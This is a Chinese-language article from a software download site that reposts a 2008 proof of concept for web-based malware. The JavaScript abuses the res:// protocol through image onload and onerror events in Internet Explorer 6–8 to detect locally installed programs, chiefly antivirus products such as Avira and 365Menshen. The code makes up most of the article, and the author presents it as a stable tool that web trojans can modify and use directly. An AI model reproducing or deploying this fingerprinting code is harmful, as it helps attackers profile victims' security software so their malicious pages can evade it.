您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 安全防护 >> 让网马检测本地安装了什么软件 - img远程域检测本地域软件安装情况

相关文章链接

本类文章排行

最新新闻资讯

    让网马检测本地安装了什么软件 - img远程域检测本地域软件安装情况

    让网马检测本地安装了什么软件 - img远程域检测本地域软件安装情况


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    让网马检测本地安装了什么软件 - img远程域检测本地域软件安装情况

    网马要检测本地安装什么软件?无非就是那些安全软件,卡巴、小红伞、360、365门神(AD:顺便说下,365不是畅游巡警的山寨- -,和360的定位是不一样的)之类。稳定的demo:

    <script>
    ////////////////////////////////////////////////////////
    //Name: img标签远程域检测本地域软件是否存在poc
    //Description: IE浏览器都有效
    //Author: Knownsec Team
    //Date: 2008-11-03
    ////////////////////////////////////////////////////////
    knownImg = {}
    knownImg.resList = [ //数组中填写本地软件id值与图片地址值(res协议或file协议)
    {id: 'Avira', res: 'res://C:\\Program%20Files\\Avira\\AntiVir%20PersonalEdition%20Classic\\setup.dll/#2/#132'},
    {id: 'baidu', res: 'res://C:\\Program%20Files\\baidu\\Baidu%20Hi\\BaiduHi.exe/#2/#152'},
    {id: 'Super Rabbit', res: 'res://C:\\Program%20Files\\Super%20Rabbit\\MagicSet\\timedate.exe/#2/BBNO'},
    {id: '365Menshen', res: 'res://C:\\Program%20Files\\365Menshen\\menshen.exe/#2/#227'},
    {id: 'quicktime', res: 'res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403'}
    ];
    knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组
    knownImg.tmp_resList = new Array();

    knownImg.checkSoft = function(){ //检测函数
    if (document.all){
       x = new Array();
       for (i = 0; i < knownImg.resList.length; i++){
        x[i] = new Image();
        x[i].src = "";
        knownImg.ok_resList.push(knownImg.resList[i].id); //将resList里的id值依次扔进ok_resList数组中
        x[i].onload = function(){
         //alert(knownImg.resList[i].id + ': return true');
        }
        x[i].onerror = function(){
         //alert(knownImg.resList[i].id + ': return false');
         knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值
        }
        x[i].src = knownImg.resList[i].res;
       }
    }
    }
    knownImg.checkSoft();

    alert(knownImg.ok_resList); //弹出
    document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />'));
    </script>

    IE6/7/8通杀,我写完这个POC没几天就被告之老外早已经给出POC了,上面这些代码是我们自己探讨出来的,当时对res协议还不太懂,还问了一些朋友。现在我们的这个POC扩展性好,很稳定。大家可以改改直接使用。

     



查看所有评论

网友对让网马检测本地安装了什么软件 - img远程域检测本地域软件安装情况的评论

网名:
主题:
内容:
验证码: